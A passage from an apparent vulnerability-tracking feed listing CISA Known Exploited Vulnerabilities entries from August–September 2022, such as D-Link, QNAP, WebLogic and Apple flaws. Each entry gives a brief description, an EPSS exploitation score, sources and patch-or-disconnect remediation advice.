EPSS 5.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-3075&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-3075: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-3075&date=2026-10-25
CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 8, 2022; federal due date Sep 29, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### QNAP Photo Station Externally Controlled Reference Vulnerability
https://kevwire.com/record/CVE-2022-27593
QNAP Photo Station Externally Controlled Reference Vulnerability (Sep 8, 2022).
Certain QNAP NAS running Photo Station with internet exposure contain an externally controlled reference to a resource vulnerability which can allow an attacker to modify system files. This vulnerability was observed being utilized in a Deadbolt ransomware campaign.
EPSS 87.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-27593&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-27593: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-27593&date=2026-10-25
CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 8, 2022; federal due date Sep 29, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### D-Link DIR-820L Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2022-26258
D-Link DIR-820L Remote Code Execution Vulnerability (Sep 8, 2022).
D-Link DIR-820L contains an unspecified vulnerability in Device Name parameter in /lan.asp which allows for remote code execution.
EPSS 91.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-26258&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-26258: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-26258&date=2026-10-25
CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 8, 2022; federal due date Sep 29, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS, iPadOS, and macOS Input Validation Vulnerability
https://kevwire.com/record/CVE-2020-9934
Apple iOS, iPadOS, and macOS Input Validation Vulnerability (Sep 8, 2022).
Apple iOS, iPadOS, and macOS contain an unspecified vulnerability involving input validation which can allow a local attacker to view sensitive user information.
EPSS 3.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-9934&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-9934: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-9934&date=2026-10-25
CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 8, 2022; federal due date Sep 29, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### MikroTik RouterOS Stack-Based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2018-7445
MikroTik RouterOS Stack-Based Buffer Overflow Vulnerability (Sep 8, 2022).
In MikroTik RouterOS, a stack-based buffer overflow occurs when processing NetBIOS session request messages. Remote attackers with access to the service can exploit this vulnerability and gain code execution on the system.
EPSS 65.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-7445&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-7445: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-7445&date=2026-10-25
CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 8, 2022; federal due date Sep 29, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### D-Link Multiple Routers OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2018-6530
D-Link Multiple Routers OS Command Injection Vulnerability (Sep 8, 2022).
Multiple D-Link routers contain an unspecified vulnerability that allows for execution of OS commands.
EPSS 96.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-6530&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-6530: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-6530&date=2026-10-25
CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The vendor D-Link published an advisory stating the fix under CVE-2018-20114 properly patches KEV entry CVE-2018-6530. If the device is still supported, apply updates per vendor instructions. If the affected device has since entered its end-of-life, it should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 8, 2022; federal due date Sep 29, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle WebLogic Server Unspecified Vulnerability
https://kevwire.com/record/CVE-2018-2628
Oracle WebLogic Server Unspecified Vulnerability (Sep 8, 2022).
Oracle WebLogic Server contains an unspecified vulnerability which can allow an unauthenticated attacker with T3 network access to compromise the server.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-2628&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-2628: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-2628&date=2026-10-25
CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 8, 2022; federal due date Sep 29, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet FortiOS and FortiADC Improper Access Control Vulnerability
https://kevwire.com/record/CVE-2018-13374
Fortinet FortiOS and FortiADC Improper Access Control Vulnerability (Sep 8, 2022).
Fortinet FortiOS and FortiADC contain an improper access control vulnerability that allows attackers to obtain the LDAP server login credentials configured in FortiGate by pointing a LDAP server connectivity test request to a rogue LDAP server.
EPSS 38.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-13374&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-13374: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-13374&date=2026-10-25
CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 8, 2022; federal due date Sep 29, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### NETGEAR Multiple Devices Exposure of Sensitive Information Vulnerability
https://kevwire.com/record/CVE-2017-5521
NETGEAR Multiple Devices Exposure of Sensitive Information Vulnerability (Sep 8, 2022).
Multiple NETGEAR devices are prone to admin password disclosure via simple crafted requests to the web management server.
EPSS 89.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-5521&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-5521: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-5521&date=2026-10-25
CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions. If the affected device has since entered end-of-life, it should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 8, 2022; federal due date Sep 29, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### D-Link DIR-300 Router Cleartext Storage of a Password Vulnerability
https://kevwire.com/record/CVE-2011-4723
D-Link DIR-300 Router Cleartext Storage of a Password Vulnerability (Sep 8, 2022).
The D-Link DIR-300 router stores cleartext passwords, which allows context-dependent attackers to obtain sensitive information.
EPSS 3.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2011-4723&date=2026-10-25).
Sources:
CISA KEV entry CVE-2011-4723: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2011-4723&date=2026-10-25
CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 8, 2022; federal due date Sep 29, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Android OS Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2011-1823
Android OS Privilege Escalation Vulnerability (Sep 8, 2022).
The vold volume manager daemon in Android kernel trusts messages from a PF_NETLINK socket, which allows an attacker to execute code and gain root privileges. This vulnerability is associated with GingerBreak and Exploit.AndroidOS.Lotoor.
EPSS 41.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2011-1823&date=2026-10-25).
Sources:
CISA KEV entry CVE-2011-1823: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2011-1823&date=2026-10-25
CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 8, 2022; federal due date Sep 29, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### dotCMS Unrestricted Upload of File Vulnerability
https://kevwire.com/record/CVE-2022-26352
dotCMS Unrestricted Upload of File Vulnerability (Aug 25, 2022).
dotCMS ContentResource API contains an unrestricted upload of file with a dangerous type vulnerability that allows for directory traversal, in which the file is saved outside of the intended storage location. Exploitation allows for remote code execution.
EPSS 91.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-26352&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-26352: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-26352&date=2026-10-25
CISA added this entry on 2022-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 25, 2022; federal due date Sep 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache CouchDB Insecure Default Initialization of Resource Vulnerability
https://kevwire.com/record/CVE-2022-24706
Apache CouchDB Insecure Default Initialization of Resource Vulnerability (Aug 25, 2022).
Apache CouchDB contains an insecure default initialization of resource vulnerability which can allow an attacker to escalate to administrative privileges.
EPSS 92.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-24706&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-24706: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-24706&date=2026-10-25
CISA added this entry on 2022-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 25, 2022; federal due date Sep 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache APISIX Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2022-24112
Apache APISIX Authentication Bypass Vulnerability (Aug 25, 2022).
Apache APISIX contains an authentication bypass vulnerability that allows for remote code execution.
EPSS 96.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-24112&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-24112: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-24112&date=2026-10-25
CISA added this entry on 2022-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 25, 2022; federal due date Sep 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### VMware Tanzu Spring Cloud Function Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2022-22963
VMware Tanzu Spring Cloud Function Remote Code Execution Vulnerability (Aug 25, 2022).
When using routing functionality in VMware Tanzu's Spring Cloud Function, it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-22963&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-22963: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-22963&date=2026-10-25
CISA added this entry on 2022-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 25, 2022; federal due date Sep 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### WebRTC Heap Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2022-2294
WebRTC Heap Buffer Overflow Vulnerability (Aug 25, 2022).
WebRTC, an open-source project providing web browsers with real-time communication, contains a heap buffer overflow vulnerability that allows an attacker to perform shellcode execution. This vulnerability impacts web browsers using WebRTC including but not limited to Google Chrome.
EPSS 70.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-2294&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-2294: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-2294&date=2026-10-25
CISA added this entry on 2022-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 25, 2022; federal due date Sep 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Grafana Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2021-39226
Grafana Authentication Bypass Vulnerability (Aug 25, 2022).
Grafana contains an authentication bypass vulnerability that allows authenticated and unauthenticated users to view and delete all snapshot data, potentially resulting in complete snapshot data loss.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-39226&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-39226: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-39226&date=2026-10-25
CISA added this entry on 2022-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 25, 2022; federal due date Sep 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Delta Electronics DOPSoft 2 Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2021-38406
Delta Electronics DOPSoft 2 Improper Input Validation Vulnerability (Aug 25, 2022).
Delta Electronics DOPSoft 2 lacks proper validation of user-supplied data when parsing specific project files (improper input validation) resulting in an out-of-bounds write that allows for code execution.
EPSS 76.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-38406&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-38406: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-38406&date=2026-10-25
CISA added this entry on 2022-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 25, 2022; federal due date Sep 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS, macOS, watchOS Sandbox Bypass Vulnerability
https://kevwire.com/record/CVE-2021-31010
Apple iOS, macOS, watchOS Sandbox Bypass Vulnerability (Aug 25, 2022).
In affected versions of Apple iOS, macOS, and watchOS, a sandboxed process may be able to circumvent sandbox restrictions.
EPSS 3.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-31010&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-31010: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-31010&date=2026-10-25
CISA added this entry on 2022-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 25, 2022; federal due date Sep 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### PEAR Archive_Tar Improper Link Resolution Vulnerability
https://kevwire.com/record/CVE-2020-36193
PEAR Archive_Tar Improper Link Resolution Vulnerability (Aug 25, 2022).
PEAR Archive_Tar Tar.php allows write operations with directory traversal due to inadequate checking of symbolic links. PEAR stands for PHP Extension and Application Repository and it is an open-source framework and distribution system for reusable PHP components with known usage in third-party products such as Drupal Core and Red Hat Linux.
EPSS 70.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-36193&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-36193: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-36193&date=2026-10-25
CISA added this entry on 2022-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 25, 2022; federal due date Sep 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### PEAR Archive_Tar Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2020-28949
PEAR Archive_Tar Deserialization of Untrusted Data Vulnerability (Aug 25, 2022).
PEAR Archive_Tar allows an unserialization attack because phar: is blocked but PHAR: is not blocked. PEAR stands for PHP Extension and Application Repository and it is an open-source framework and distribution system for reusable PHP components with known usage in third-party products such as Drupal Core and Red Hat Linux.
EPSS 84.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-28949&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-28949: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-28949&date=2026-10-25
CISA added this entry on 2022-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 25, 2022; federal due date Sep 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Palo Alto Networks PAN-OS Reflected Amplification Denial-of-Service Vulnerability
https://kevwire.com/record/CVE-2022-0028
Palo Alto Networks PAN-OS Reflected Amplification Denial-of-Service Vulnerability (Aug 22, 2022).
A Palo Alto Networks PAN-OS URL filtering policy misconfiguration could allow a network-based attacker to conduct reflected and amplified TCP denial-of-service (RDoS) attacks.
EPSS 2.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-0028&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-0028: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-0028&date=2026-10-25
CISA added this entry on 2022-08-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 22, 2022; federal due date Sep 12, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SAP Multiple Products HTTP Request Smuggling Vulnerability
https://kevwire.com/record/CVE-2022-22536
SAP Multiple Products HTTP Request Smuggling Vulnerability (Aug 18, 2022).
SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server and SAP Web Dispatcher allow HTTP request smuggling. An unauthenticated attacker can prepend a victim's request with arbitrary data, allowing for function execution impersonating the victim or poisoning intermediary Web caches.
EPSS 97.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-22536&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-22536: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-22536&date=2026-10-25
CISA added this entry on 2022-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 18, 2022; federal due date Sep 8, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS and macOS Out-of-Bounds Write Vulnerability
https://kevwire.com/record/CVE-2022-32894
Apple iOS and macOS Out-of-Bounds Write Vulnerability (Aug 18, 2022).
Apple iOS and macOS contain an out-of-bounds write vulnerability that could allow an application to execute code with kernel privileges.
EPSS 3.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-32894&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-32894: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-32894&date=2026-10-25
CISA added this entry on 2022-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 18, 2022; federal due date Sep 8, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS and macOS Out-of-Bounds Write Vulnerability
https://kevwire.com/record/CVE-2022-32893
Apple iOS and macOS Out-of-Bounds Write Vulnerability (Aug 18, 2022).
Apple iOS and macOS contain an out-of-bounds write vulnerability that could allow for remote code execution when processing malicious crafted web content.
EPSS 9.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-32893&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-32893: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-32893&date=2026-10-25
CISA added this entry on 2022-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 18, 2022; federal due date Sep 8, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium Intents Insufficient Input Validation Vulnerability
https://kevwire.com/record/CVE-2022-2856
Google Chromium Intents Insufficient Input Validation Vulnerability (Aug 18, 2022).
Google Chromium Intents contains an insufficient validation of untrusted input vulnerability that allows a remote attacker to browse to a malicious website via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 4.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-2856&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-2856: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-2856&date=2026-10-25
CISA added this entry on 2022-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 18, 2022; federal due date Sep 8, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Active Directory Domain Services Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2022-26923
Microsoft Active Directory Domain Services Privilege Escalation Vulnerability (Aug 18, 2022).
